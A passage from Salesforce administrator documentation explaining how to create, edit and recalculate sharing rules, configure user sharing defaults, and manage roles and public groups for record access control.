4. Enter the Label Name and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule
Name is a unique name used by the API and managed packages.
5. Enter the Description. This field describes the sharing rule. It is optional and can contain up to 1000 characters.
6. Select a rule type.
7. Depending on the rule type you selected, do the following:
• Based on record owner—In the owned by members of line, specify the users whose records will be shared:
select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if
your organization has over 200 queues, groups, roles, or territories).
• Based on criteria—Specify the Field, Operator, and Value criteria that records must match to be included in the
sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click
Add Filter Logic... to change the default AND relationship between each filter.
Note: To use a field that’s not supported by criteria-based sharing rules, you can create a workflow rule or
Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.
8. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down
list and a set of users from the second drop-down list or lookup field.
9. Select the sharing access setting for users.
DescriptionAccess Setting
Users can view, but not update, records.Read Only
Users can view and update records.Read/Write
10. Click Save.
Creating Campaign Sharing Rules
User Permissions Needed
“Manage Users”To create sharing rules:
Campaign sharing rules can be based on the record owner or on other criteria, including record type and certain field values.
You can define up to 300 campaign sharing rules, including up to 50 criteria-based sharing rules.
51
Creating Case Sharing RulesSecuring and Sharing Data
1. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created.
2. From Setup, click Security Controls > Sharing Settings.
3. In the Campaign Sharing Rules related list, click New.
4. Enter the Label Name and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule
Name is a unique name used by the API and managed packages.
5. Enter the Description. This field describes the sharing rule. It is optional and can contain up to 1000 characters.
6. Select a rule type.
7. Depending on the rule type you selected, do the following:
• Based on record owner—In the owned by members of line, specify the users whose records will be shared:
select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if
your organization has over 200 queues, groups, roles, or territories).
• Based on criteria—Specify the Field, Operator, and Value criteria that records must match to be included in the
sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click
Add Filter Logic... to change the default AND relationship between each filter.
Note: To use a field that’s not supported by criteria-based sharing rules, you can create a workflow rule or
Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.
8. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down
list and a set of users from the second drop-down list or lookup field.
9. Select the sharing access setting for users.
DescriptionAccess Setting
Users can view, but not update, records.Read Only
Users can view and update records.Read/Write
Any user in the selected group, role, or territory can view, edit, transfer, delete,
and share the record, just like the record’s owner.
With a Full Access sharing rule, users can also view, edit, delete, and close
activities associated with the record if the organization-wide sharing setting for
activities is Controlled by Parent.
Full Access
10. Click Save.
Creating Custom Object Sharing Rules
User Permissions Needed
“Manage Users”To create sharing rules:
Custom object sharing rules can be based on the record owner or on other criteria, including record type and certain field
values. You can define up to 300 custom object sharing rules, including up to 50 criteria-based sharing rules.
1. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created.
2. From Setup, click Security Controls > Sharing Settings.
3. In the Sharing Rules related list for the custom object, click New.
52
Creating Custom Object Sharing RulesSecuring and Sharing Data
4. Enter the Label and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is
a unique name used by the API and managed packages.
5. Enter the Description. This field describes the sharing rule. It is optional and can contain up to 1000 characters.
6. Select a rule type.
7. Depending on the rule type you selected, do the following:
• Based on record owner—In the owned by members of line, specify the users whose records will be shared:
select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if
your organization has over 200 queues, groups, roles, or territories).
• Based on criteria—Specify the Field, Operator, and Value criteria that records must match to be included in the
sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click
Add Filter Logic... to change the default AND relationship between each filter.
Note: To use a field that’s not supported by criteria-based sharing rules, you can create a workflow rule or
Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.
8. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down
list and a set of users from the second drop-down list or lookup field.
9. Select the sharing access setting for users.
DescriptionAccess Setting
Users can view, but not update, records.Read Only
Users can view and update records.Read/Write
10. Click Save.
Creating User Sharing Rules
Share members of a group to members of another group, or share users based on criteria.
Available in: Professional, Enterprise, Performance, Unlimited, and Developer Editions
User Permissions Needed
“Manage Users”To create sharing rules:
User sharing rules can be based on membership to public groups, roles, or territories, or on other criteria such as Department
and Title. By default, you can define up to 300 user sharing rules, including up to 50 criteria-based sharing rules. Contact
Salesforce.com for information about increasing these limits.
User sharing rules based on membership enable user records belonging to members of one group to be shared with members
of another group. Before you can create a membership-based user sharing rule, confirm that the appropriate groups have been
created.
Users inherit the same access as users below them in the role hierarchy.
1. From Setup, click Security Controls > Sharing Settings.
2. In the User Sharing Rules related list, click New.
3. Enter the Label Name and click the Rule Name field to auto-populate it.
53
Creating User Sharing RulesSecuring and Sharing Data
4. Enter the Description. This field describes the sharing rule. It is optional and can contain up to 1000 characters.
5. Select a rule type.
6. Depending on the rule type you selected, do the following:
a. Based on group membership—Users who are members of a group can be shared with members of another group.
In the Users who are members of line, select a category from the first drop-down list and a set of users from the
second drop-down list (or lookup field, if your organization has over 200 groups, roles, or territories).
b. Based on criteria—Specify the Field, Operator, and Value criteria that records must match to be included in the
sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click
Add Filter Logic... to change the default AND relationship between each filter.
7. In the Share with line, specify the group that should have access to the user records. Select a category from the first
drop-down list and a set of users from the second drop-down list or lookup field.
8. Select the sharing access setting for users.
DescriptionAccess Setting
Users can view, but not update, records. They can see target
users in list views, lookups, search, and interact with them
on Chatter.
Read Only
Users can view and update records.Read/Write
Sharing Rule Categories
When you define a sharing rule, you can choose from the following categories in the owned by members of and Share
with drop-down lists. Depending on the type of sharing rule and the features enabled for your organization, some categories
may not appear.
Note: You can’t include high-volume portal users in sharing rules because they don’t have roles and can’t be in public
groups.
DescriptionCategory
All direct and indirect managers of a user.Managers Groups
A manager and all direct and indirect reports who he or she manages.Manager Subordinates Groups
All records owned by the queue, excluding records owned by individual members of the
queue. Available only in the owned by members of list.
Queues
All public groups defined by your administrator.
If a partner portal or Customer Portal is enabled for your organization, the All Partner
Users or All Customer Portal Users group displays. These groups includes all users allowed
to access your partner portal or Customer Portal, except for high-volume portal users.
Public Groups
All roles defined for your organization. This includes all of the users in the specified role.Roles
54
Sharing Rule CategoriesSecuring and Sharing Data
DescriptionCategory
All roles defined for your organization’s partner portal or Customer Portal. This includes
all users in the specified portal role, except high-volume portal users.
A portal role name includes the name of the account that it’s associated with, except for
person accounts, which include the user Alias.
Portal Roles
All roles defined for your organization. This includes all of the users in the specified role
plus all of the users in roles below that role, including partner portal and Customer Portal
roles that contain users with a portal license type.
Portal roles are only included in this category if a partner portal or Customer Portal is
enabled for your organization.
Roles and Subordinates
The Roles, Internal and Portal Subordinates data set category is only available in your
organization after you create at least one role in the role hierarchy.
All roles defined for your organization’s partner portal or Customer Portal. This includes
all of the users in the specified portal role plus all of the users below that role in the portal
role hierarchy, except for high-volume portal users.
A portal role name includes the name of the account that it’s associated with, except for
person accounts, which include the user Alias.
Portal Roles and Subordinates
All roles defined for your organization. This includes all of the users in the specified role
plus all of the users in roles below that role, excluding partner portal and Customer Portal
roles.
This category only displays if a partner portal or Salesforce Customer Portal is enabled
for your organization.
Roles and Internal Subordinates
The Roles and Internal Subordinates data set category is only available in your organization
after you create at least one role in the role hierarchy and enable a portal.
All roles defined for your organization. This includes all of the users in the specified role
plus all of the users in roles below that role, including partner portal and Customer Portal
roles.
This category only displays if a partner portal or Salesforce Customer Portal is enabled
for your organization.
Roles, Internal and Portal
Subordinates
The Roles and Internal Subordinates data set category is only available in your organization
after you create at least one role in the role hierarchy and enable a portal.
All territories defined for your organization.Territories
All territories defined for your organization. This includes the specified territory plus all
territories below it.
Territories and Subordinates
Editing Lead Sharing Rules
User Permissions Needed
“Manage Users”To edit sharing rules:
55
Editing Lead Sharing RulesSecuring and Sharing Data
For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on
other criteria, you can edit the criteria and sharing access settings.
1. From Setup, click Security Controls > Sharing Settings.
2. In the Lead Sharing Rules related list, click Edit next to the rule you want to change.
3. Change the Label and Rule Name if desired.
4. If you selected a rule that's based on owner, skip to the next step.
If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule.
The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter
Logic... to change the default AND relationship between each filter.
5. Select the sharing access setting for users.
DescriptionAccess Setting
Users can view, but not update, records.Read Only
Users can view and update records.Read/Write
6. Click Save.
Editing Account Sharing Rules
User Permissions Needed
“Manage Users”To edit sharing rules:
For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on
other criteria, you can edit the criteria and sharing access settings.
1. From Setup, click Security Controls > Sharing Settings.
2. In the Account Sharing Rules related list, click Edit next to the rule you want to change.
3. Change the Label and Rule Name if desired.
4. If you selected a rule that's based on owner, skip to the next step.
If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule.
The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter
Logic... to change the default AND relationship between each filter.
5. Select a setting for Default Account, Contract and Asset Access.
6. In the remaining fields, select the access settings for the records associated with the shared accounts.
DescriptionAccess Setting
Users can’t view or update records, unless access is granted
outside of this sharing rule.
Private
(available for associated contacts, opportunities, and cases
only)
Users can view, but not update, records.Read Only
Users can view and update records.Read/Write
56
Editing Account Sharing RulesSecuring and Sharing Data
Note: Contact Access is not available when the organization-wide default for contacts is set to Controlled
by Parent.
7. Click Save.
Editing Account Territory Sharing Rules
User Permissions Needed
“Manage Users”To edit sharing rules:
For account territory sharing rules, you can edit the sharing access settings, but no other settings.
1. From Setup, click Security Controls > Sharing Settings.
2. In the Account Territory Sharing Rules related list, click Edit next to the rule you want to change.
3. Change the Label and Rule Name if desired.
4. Select the sharing access setting for users.
DescriptionAccess Setting
Users can’t view or update records, unless access is granted
outside of this sharing rule.
Private
(available for associated contacts, opportunities, and cases
only)
Users can view, but not update, records.Read Only
Users can view and update records.Read/Write
Note: Contact Access is not available when the organization-wide default for contacts is set to Controlled
by Parent.
5. Click Save.
Editing Contact Sharing Rules
User Permissions Needed
“Manage Users”To edit sharing rules:
For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on
other criteria, you can edit the criteria and sharing access settings.
1. From Setup, click Security Controls > Sharing Settings.
2. In the Contact Sharing Rules related list, click Edit next to the rule you want to change.
3. Change the Label and Rule Name if desired.
4. If you selected a rule that's based on owner, skip to the next step.
57
Editing Account Territory Sharing RulesSecuring and Sharing Data
If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule.
The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter
Logic... to change the default AND relationship between each filter.
5. Select the sharing access setting for users.
DescriptionAccess Setting
Users can view, but not update, records.Read Only
Users can view and update records.Read/Write
6. Click Save.
Editing Opportunity Sharing Rules
User Permissions Needed
“Manage Users”To edit sharing rules:
For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on
other criteria, you can edit the criteria and sharing access settings.
1. From Setup, click Security Controls > Sharing Settings.
2. In the Opportunity Sharing Rules related list, click Edit next to the rule you want to change.
3. Change the Label and Rule Name if desired.
4. If you selected a rule that's based on owner, skip to the next step.
If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule.
The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter
Logic... to change the default AND relationship between each filter.
5. Select the sharing access setting for users. For owner-based rules or criteria-based rules with ownership as criteria, the
Opportunity Access level applies to opportunities owned by the group, role, or territory members, regardless of the
associated account.
DescriptionAccess Setting
Users can view, but not update, records.Read Only
Users can view and update records.Read/Write
6. Click Save.
Editing Case Sharing Rules
User Permissions Needed
“Manage Users”To edit sharing rules:
58
Editing Opportunity Sharing RulesSecuring and Sharing Data
For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on
other criteria, you can edit the criteria and sharing access settings.
1. From Setup, click Security Controls > Sharing Settings.
2. In the Case Sharing Rules related list, click Edit next to the rule you want to change.
3. Change the Label and Rule Name if desired.
4. If you selected a rule that's based on owner, skip to the next step.
If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule.
The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter
Logic... to change the default AND relationship between each filter.
5. Select the sharing access setting for users.
DescriptionAccess Setting
Users can view, but not update, records.Read Only
Users can view and update records.Read/Write
6. Click Save.
Editing Campaign Sharing Rules
User Permissions Needed
“Manage Users”To edit sharing rules:
For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on
other criteria, you can edit the criteria and sharing access settings.
1. From Setup, click Security Controls > Sharing Settings.
2. In the Campaign Sharing Rules related list, click Edit next to the rule you want to change.
3. Change the Label and Rule Name if desired.
4. If you selected a rule that's based on owner, skip to the next step.
If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule.
The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter
Logic... to change the default AND relationship between each filter.
5. Select the sharing access setting for users.
DescriptionAccess Setting
Users can view, but not update, records.Read Only
Users can view and update records.Read/Write
Any user in the selected group, role, or territory can view, edit, transfer, delete,
and share the record, just like the record’s owner.
With a Full Access sharing rule, users can also view, edit, delete, and close
activities associated with the record if the organization-wide sharing setting for
activities is Controlled by Parent.
Full Access
59
Editing Campaign Sharing RulesSecuring and Sharing Data
6. Click Save.
Editing Custom Object Sharing Rules
User Permissions Needed
“Manage Users”To edit sharing rules:
For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on
other criteria, you can edit the criteria and sharing access settings.
1. From Setup, click Security Controls > Sharing Settings.
2. In the Sharing Rules related list for the custom object, click Edit next to the rule you want to change.
3. Change the Label and Rule Name if desired.
4. If you selected a rule that's based on owner, skip to the next step.
If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule.
The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter
Logic... to change the default AND relationship between each filter.
5. Select the sharing access setting for users.
DescriptionAccess Setting
Users can view, but not update, records.Read Only
Users can view and update records.Read/Write
6. Click Save.
Editing User Sharing Rules
Available in: Professional, Enterprise, Performance, Unlimited, and Developer Editions
User Permissions Needed
“Manage Users”To edit sharing rules:
For user sharing rules based on membership to groups, roles, or territories, you can edit only the access settings. For user
sharing rules based on other criteria, you can edit the criteria and access settings.
1. From Setup, click Security Controls > Sharing Settings.
2. In the User Sharing Rules related list, click Edit next to the rule you want to change.
3. Change the Label and Rule Name if desired.
4. If you selected a rule that’s based on group membership, skip to the next step. If you selected a rule that's based on criteria,
specify the criteria that records must match to be included in the sharing rule. The fields available depend on the object
selected, and the value must be a literal number or string. Click AddFilterLogic... to change the default AND relationship
between each filter.
5. Select the sharing access setting for users. The User Access level applies to users who are members of the groups being
shared to.
60
Editing Custom Object Sharing RulesSecuring and Sharing Data
DescriptionAccess Setting
Users can view, but not update, records.Read Only
Users can view and update records.Read/Write
6. Click Save.
Sharing Rule Considerations
Sharing rules allow you to selectively grant data access to defined sets of users. Review the following notes before using sharing
rules:
Granting Access
• You can use sharing rules to grant wider access to data. You cannot restrict access below your organization-wide
default levels.
• If multiple sharing rules give a user different levels of access to a record, the user gets the most permissive access level.
• Sharing rules automatically grant additional access to related records. For example, opportunity sharing rules give
role or group members access to the account associated with the shared opportunity if they do not already have it.
Likewise, contact and case sharing rules provide the role or group members with access to the associated account as
well.
• Users in the role hierarchy are automatically granted the same access that users below them in the hierarchy have
from a sharing rule, provided that the object is a standard object or the Grant Access Using Hierarchies option is
selected.
• Regardless of sharing rules, users can, at a minimum, view the accounts in their territories. Also, users can be granted
access to view and edit the contacts, opportunities, and cases associated with their territories’ accounts.
Updating
• Creating an owner-based sharing rule with the same source and target groups as an existing rule overwrites the
existing rule.
• Once a sharing rule has been saved, you can’t change the Share with field settings when you edit the sharing rule.
• Sharing rules apply to all new and existing records that meet the definition of the source data set.
• Sharing rules apply to both active and inactive users.
• When you change the access levels for a sharing rule, all existing records are automatically updated to reflect the new
access levels.
• When you delete a sharing rule, the sharing access created by that rule is automatically removed.
• When you modify which users are in a group, role, or territory, the sharing rules are reevaluated to add or remove
access as necessary.
• When you transfer records from one user to another, the sharing rules are reevaluated to add or remove access to the
transferred records as necessary.
• Making changes to sharing rules may require changing a large number of records at once. To process these changes
efficiently, your request may be queued and you may receive an email notification when the process has completed.
• Lead sharing rules do not automatically grant access to lead information after leads are converted into account,
contact, and opportunity records.
Portal Users
• You can create rules to share records between most types of Customer Portal users and Salesforce users. Similarly,
you can create sharing rules between Customer Portal users from different accounts as long as they have the Customer
61
Sharing Rule ConsiderationsSecuring and Sharing Data
Portal Manager user license. However, you can’t include high-volume portal users in sharing rules because they don’t
have roles and can’t be in public groups.
• You can easily convert sharing rules that include Roles, Internal and Portal Subordinates to include Roles and Internal
Subordinates instead by using the Convert Portal User Access wizard. Furthermore, you can use this wizard to convert
any publicly accessible report, dashboard, and document folders to folders that are accessible by all users except for
portal users.
Recalculating Sharing Rules
User Permissions Needed
“Manage Users”To recalculate sharing rules:
When you make changes to groups, roles, and territories, sharing rules are usually automatically reevaluated to add or remove
access as necessary. Changes could include adding or removing individual users from a group, role, or territory, changing which
role a particular role reports to, changing which territory a particular territory is subordinate to, or adding or removing a group
from within another group. However, if these changes affect too many records at once, a message appears warning that the
sharing rules won’t be automatically reevaluated, and you must manually recalculate them.
Note:
You don’t have to recalculate each time you edit or create a new sharing rule. The Recalculate buttons on the Sharing
Rules related lists should only be used if sharing rule updates have failed or are not working as expected. Administrators
will receive a notification email if sharing rule updates have failed.
To manually recalculate an object’s sharing rules:
1. From Setup, click Security Controls > Sharing Settings.
2. In the Sharing Rules related list for the object you want, click Recalculate.
3. If you want to monitor the progress of a recalculation, from Setup, click Monitoring > Background Jobs or Jobs >
Background Jobs.
Note: The Recalculate button is disabled when group membership or sharing rule calculations are deferred.
When sharing is recalculated, Salesforce also runs all Apex sharing recalculations.
Automatic sharing rule calculation is enabled by default. You can defer sharing rule calculation by suspending and resuming
at your discretion.
Parallel Recalculation
Note: Starting with Winter ‘14, parallel sharing rule recalculation is enabled for new organizations. Existing
organizations can contact salesforce.com to enable parallel sharing rule recalculation.
Parallel sharing rule recalculation is run when you click the Recalculate button for the sharing rules on the Sharing Settings
page. Similarly, recalculating your sharing rules on the Defer sharing page triggers parallel recalculation. The recalculation is
run in parallel and asynchronously in the background, speeding up the process and providing better resilience to site operations
such as patches and server restarts. You’ll receive an email notification upon completion.
62
Recalculating Sharing RulesSecuring and Sharing Data
You can monitor the progress of your parallel recalculation in the Background Jobs page.
Recalculation of sharing rules also maintains implicit sharing between accounts and child records. In the Background Jobs
page, these processes corresponds to these job sub types:, Account — Extra Parent Access Removal and Account — Parent
Access Grant. Additionally, deleting a sharing rule corresponds to the job sub type Object — Access Cleanup, denoting that
irrelevant share rows are removed.
Note: For an in-depth look at record access, see Designing Record Access for Enterprise Scale.
User Sharing Overview
Control who sees who in the organization with standard sharing functionality.
Watch a demo: Who Sees Whom: User Sharing
Watch how you can set up User Sharing in your organization.
User Sharing enables you to show or hide an internal or external user from another user in your organization. For example,
you might be a manufacturer who needs to include all dealers in your organization while still keeping them from seeing or
interacting with each other. You can set the organization-wide defaults for the user object to Private. Then, open up access
among groups of dealers who need to see and interact with each other in the organization with sharing rules or manual sharing.
With User Sharing, you can:
• Assign the “View All Users” permission to users who need to see or interact with all users. This permission is automatically
enabled for users who have the “Manage Users” permission.
• Set the organization-wide default for user records to Private or Public Read Only.
• Create user sharing rules based on group membership or other criteria.
• Create manual shares for user records to open up access to individual users or groups.
• Control the visibility of external users in customer or partner portals and communities.
See the Understanding User Sharing tip sheet for more information.
Understanding User Sharing
Implement User Sharing via a combination of organization-wide defaults, user sharing rules, manual sharing, and permissions.
With user sharing, you can set an organization-wide default for internal and external user records. You can then extend access
using sharing rules based on membership to public groups, roles, or territories, or use manual sharing to share individual user
records with other users or groups.
When you enable user sharing, users can see other users in search, list views, and so on only if they have Read access on those
users.
Review these user sharing considerations before implementing them for your organization.
“View All Users” permission
This permission can be assigned to users who need Read access to all users, regardless of the sharing settings. If you
already have the “Manage Users” permission, you are automatically granted the “View All Users” permission.
63
User Sharing OverviewSecuring and Sharing Data
Organization-wide defaults for user records
This setting defaults to Private for external users and Public Read Only for internal users. When the default access is set
to Private, users can only read and edit their own user record. Users with subordinates in the role hierarchy maintain
read access to the user records of those subordinates.
User sharing rules
General sharing rule considerations apply to user sharing rules. User sharing rules are based on membership to a public
group, role, or territory. Each sharing rule shares members of a source group with those of the target group. You must
create the appropriate public groups, roles, or territories before creating your sharing rules. Users inherit the same access
as users below them in the role hierarchy.
Manual sharing for user records
Manual sharing can grant read or edit access on an individual user, but only if the access is greater than the default access
for the target user. Users inherit the same access as users below them in the role hierarchy. Apex managed sharing is not
supported.
User sharing for external users
Users with the “Manage External Users” permission have access to external user records for Partner Relationship
Management, Customer Service, and Customer Self-Service portal users, regardless of sharing rules or organization-wide
default settings for User records. The “Manage External Users” permission does not grant access to guest or Chatter
External users.
User Sharing Compatibility
When the organization-wide default for the user object is set to Private, User Sharing does not fully support these
features.
• Chatter Messenger is not available for external users. It is available for internal users only when the organization-wide
default for the user object is set to Public Read Only.
• Customizable Forecasts—Users with the "View All Forecast" permission can see users to whom they don't have
access.
• Salesforce CRM Content—A user who can create libraries can see users they don't have access to when adding library
members.
• Standard Report Types—Some reports based on standard report types expose data of users to whom a user doesn’t
have access. For more information, see Controlling Standard Report Visibility.
Setting the Organization-Wide Sharing Defaults for User Records
Set the organization-wide sharing defaults for the user object before opening up access.
Available in: Professional, Enterprise, Performance, Unlimited, and Developer Editions
User Permissions Needed
“Manage Users”To set default sharing access:
For user records, you can set the organization-wide sharing default to Private or Public Read Only. The default must be set
to Private if there is at least one user who shouldn’t see a record.
Let’s say that your organization has internal users (employees and sales agents) and external users (customers/portal users)
under different sales agents or portal accounts, with these requirements:
• Employees can see everyone.
64
Setting the Organization-Wide Sharing Defaults for User
Records
Securing and Sharing Data
• Sales agents can see employees, other agents, and their own customer user records only.
• Customers can see other customers only if they are under the same agent or portal account.
To meet these requirements, set the default external access to Private, and extend access using sharing rules, manual sharing,
or user permissions.
When the feature is first turned on, the default access setting is Private for external users. The default for internal users is
Public Read Only. To change the organization-wide defaults for external access to the user object:
1. From Setup, click Security Controls > Sharing Settings.
2. Click Edit in the Organization-Wide Defaults area.
3. Select the default internal and external access you want to use for user records.
The default external access must be more restrictive or equal to the default internal access.
4. Click Save.
Users have Read access to those below them in the role hierarchy and full access on their own user record.
Sharing Users
Sharing your user record enables other users to see you in the organization.
User Permissions Needed
“Read” on user recordsTo view user records:
You can share external user records, such as external community users and customer portal or partner portal users. You can
also share an internal user record with an external user.
Your administrator defines your organization’s sharing model and default access levels for user records. You may want to
extend sharing privileges for your own user record if the organization-wide default access is set to Private or Public Read Only.
Note that you cannot restrict access below your organization’s default access levels.
To view and manage sharing details, click Sharing on the user detail page. The Sharing Detail page lists the users, groups,
roles, and territories that have sharing access to the user record. On this page, you can perform these tasks:
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom views. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Grant access to the record for other users, groups, roles, or territories by clicking Add.
• Edit or delete the manual share by clicking Edit or Del next to the rule.
Restoring User Visibility Defaults
Available in: Enterprise, Performance, Unlimited, and Developer Editions
User Permissions Needed
“Manage Users”To restore user visibility defaults:
User Sharing enables you to control who sees who in the organization. You can restore your defaults if you have previously
used User Sharing.
To restore user visibility defaults:
65
Sharing UsersSecuring and Sharing Data
1. From Setup, click Security Controls > Sharing Settings.
2. Set the organization-wide defaults to Public Read Only for internal access and Private for external access.
3. Enable portal account user access.
On the Sharings Settings page, select the Portal User Visibility checkbox. This option enables customer portal users to
see other users under the same portal account. Additionally, partner portal users can see the portal account owner.
4. Enable network member access.
On the Sharing Settings page, select the Community User Visibility checkbox. This option enables community members
to be seen by all other users in their communities.
5. Remove user sharing rules.
On the Sharing Settings page, click Del next to all available user sharing rules.
6. Remove HVPU access to user records.
On the Customer Portal Setup page, click Del next to all available sharing sets for HVPUs.
After user visibility is restored to the defaults, all internal users are visible to each other, portal users under the same portal
account are visible to each other, and community members in the same community are visible to each other.
Overview of Roles
User Permissions Needed
“Manage Users”To create, edit, and delete roles:
“Manage Users”To assign users to roles:
Note: Who Sees What: Record Access via the Role Hierarchy
Watch how you can open up access to records using the role hierarchy if your organization-wide defaults are more
restrictive than Public Read/Write.
Depending on your sharing settings, roles can control the level of visibility that users have into your organization’s data. Users
at any given role level can view, edit, and report on all data owned by or shared with users below them in the hierarchy, unless
your organization’s sharing model for an object specifies otherwise. Specifically, in the Organization-Wide Defaults related
list, if the Grant Access Using Hierarchies option is disabled for a custom object, only the record owner and users granted
access by the organization-wide defaults receive access to the object's records.
Working with Roles
To view and manage your organization's roles, from Setup, click Manage Users > Roles.
• Choose one of the following list view options:
Show in tree view
See a visual representation of the parent-child relationships between your roles. Click Expand All to see all roles, or
Collapse All to see only top-level roles. To expand or collapse an individual node, click the plus (+) or minus (-)
icon.
Show in sorted list view
See a list that you can sort alphabetically by role name, parent role (Reports to), or report display name. If your
organization has a large number of roles, use this view for easy navigation and filtering.
66
Overview of RolesSecuring and Sharing Data
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to
define your own custom views. To edit or delete any view you created, select it from the View drop-down list and
click Edit.
Show in list view
See a list of roles and their children, grouped alphabetically by the name of the top-level role. The columns are not
sortable. This view is not available for hierarchies with more than 1,000 roles.
• To create a role, click New Role or Add Role, depending whether you are viewing the list view or tree view of roles, then
edit the role fields as needed. You can create up to 500 roles for your organization.
• To edit a role, click Edit next to a role name, then update the role fields as needed.
• To delete a role, click Delete next to the role name.
• To assign other users to a role, click Assign next to the role name.
• To view detailed information about a role, click a role name. If you are a Salesforce Knowledge user, you can modify
category visibility settings on the role detail page.
Tip: To simplify user management in organizations with large numbers of users, enable delegated administrators to
manage users in specified roles and all subordinate roles.
Notes on Roles
• Every user must be assigned to a role, or their data will not display in opportunity reports, forecast roll-ups, and other
displays based on roles. If your organization uses territory management, forecasts are based on the territory hierarchy rather
than the role hierarchy.
• All users that require visibility to the entire organization should belong to the highest level in the hierarchy.
• It is not necessary to create individual roles for each title at your company, rather you want to define a hierarchy of roles
to control access of information entered by users in lower level roles.
• When you change a user’s role, any relevant sharing rules are evaluated to add or remove access as necessary.
• When an account owner is not assigned a role, the sharing access for related contacts is Read/Write, provided the
organization-wide default for contacts is not Controlled by Parent. Sharing access on related opportunities and cases is
No Access.
• To avoid performance issues, a single user shouldn’t own more than 10,000 records of an object. In this case, we recommend
that the user is not assigned to a role. If you must do so, place the user in a separate role at the top of the hierarchy and
avoid moving the user out of that top-level role. Furthermore, keep the user out of public groups that could be used as the
source for sharing rules.
Note: For best practices on designing record access in a large organization, see Designing Record Access for Enterprise
Scale.
About Groups
Groups are sets of users. They can contain individual users, other groups, the users in a particular role or territory, or the users
in a particular role or territory plus all of the users below that role or territory in the hierarchy.
There are two types of groups:
• Public groups—Only administrators can create public groups. They can be used by everyone in the organization.
• Personal groups—Each user can create groups for their personal use.
You can use groups in the following ways:
• To set up default sharing access via a sharing rule
67
About GroupsSecuring and Sharing Data
• To share your records with other users
• To specify that you want to synchronize contacts owned by others users
• To add multiple users to a Salesforce CRM Content library
• To assign users to specific actions in Salesforce Knowledge
Public Group Considerations
For organizations with a large number of users, consider these tips when creating public groups to optimize performance.
• Create groups with at least a few users who need the same access.
• Create groups with members who don’t frequently need to be moved in or out of the groups.
• Avoid creating groups within groups that result in more than five levels of nesting.
• Enable automatic access to records using your role hierarchies in public groups by selecting GrantAccessUsingHierarchies
when creating a group. However, deselect this option if you’re creating a public group with All Internal Users as members.
Creating and Editing Groups
User Permissions Needed
“Manage Users”To create or edit a public group:
“Manage Users”To create or edit another user’s personal group:
Only administrators can create and edit public groups, but anyone can create and edit their own personal groups.
To create or edit a group:
1. Click the control that matches the type of group:
• For personal groups, go to your personal settings and click My Personal Information or Personal—whichever one
appears. Then click My Groups. The Personal Groups related list is also available on the user detail page.
• For public groups, from Setup, click Manage Users > Public Groups.
2. Click New, or click Edit next to the group you want to edit.
3. Enter the following:
DescriptionField
The name used to refer to the group in any user interface pages.Label
The unique name used by the API and managed packages. The name
must begin with a letter and use only alphanumeric characters and
Group Name (public groups only)
underscores. The name cannot end with an underscore or have two
consecutive underscores.
Select Grant Access Using Hierarchies to allow automatic access to
records using your role hierarchies. When selected, any records shared
with users in this group are also shared with users higher in the hierarchy.
Deselect Grant Access Using Hierarchies if you’re creating a public
group with All Internal Users as members, which optimizes performance
for sharing records with groups.
Grant Access Using Hierarchies (public
groups only)
68
Creating and Editing GroupsSecuring and Sharing Data
Note: If Grant Access Using Hierarchies is deselected, users
that are higher in the role hierarchy don’t receive automatic
access. However, some users—such as those with the “View
All” and “Modify All” object permissions and the “View All
Data” and “Modify All Data” system permissions—can still
access records they don’t own.
From the Search drop-down list, select the type of member to add. If
you don’t see the member you want to add, enter keywords in the search
box and click Find.
Search
Note: For account owners to see child records owned by
high-volume portal users, they must be members of any portal
share groups with access to the portal users' data.
Select members from the Available Members box, and click Add to add
them to the group.
Selected Members
4. Click Save.
Note: When you edit groups, roles, and territories, sharing rules are usually automatically reevaluated to add or
remove access as needed. If these changes affect too many records at once, a message appears warning that the sharing
rules won't be automatically reevaluated, and you must manually recalculate them.
Group Member Types
User Permissions Needed
“Manage Users”To create or edit a public group:
“Manage Users”To create or edit another user’s personal group:
When you create or edit a group, you can select the following types of members from the Search drop-down list. Depending
on your organization settings, some types may not be available.
DescriptionMember Type
All of your Customer Portal users. This is only available when
a Customer Portal is enabled for your organization.
Customer Portal Users
All of your partner users. This is only available when a partner
portal is enabled for your organization.
Partner Users
